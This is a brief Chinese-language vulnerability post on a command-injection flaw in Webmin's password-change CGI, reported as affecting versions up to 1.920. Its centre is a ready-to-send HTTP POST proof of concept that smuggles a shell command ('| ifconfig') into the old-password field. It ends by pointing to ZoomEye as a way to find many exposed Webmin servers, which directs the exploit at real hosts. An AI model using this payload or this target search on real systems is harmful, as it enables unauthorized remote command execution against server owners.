简单介绍：
Webmin是目前功能最强大的基于Web的Unix系统管理工具。管理员通过浏览器访问Webmin的各种管理功能并完成相应的管理动作。目前Webmin支持绝大多数的Unix系统，这些系统除了各种版本的linux以外还包括：AIX、HPUX、Solaris、Unixware、Irix和FreeBSD等。Webmin 能够在远程使用支持 HTTPS协议的 Web 浏览器通过 Web 界面管理主机。
漏洞原理：在重置密码功能password_changge.cgi中发现了一个错误，该错误允许恶意第三方由于缺少输入验证而执行恶意代码
影响版本：一直到最新的1.920版本，存在于更换用户密码这个功能中。
poc：
POST /password_changge.cgi HTTP/1.1 Host: ip:10000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 69 Connection: close Upgrade-Insecure-Requests: 1 user=root&pam=&expire=2&old=AkkuS | ifconfig&new1=akkuss&new2=akuss
- 但是，利用的前提是 已知root或其他账户的旧密码，在钟馗之眼查询webmin可以看到很多在线服务器。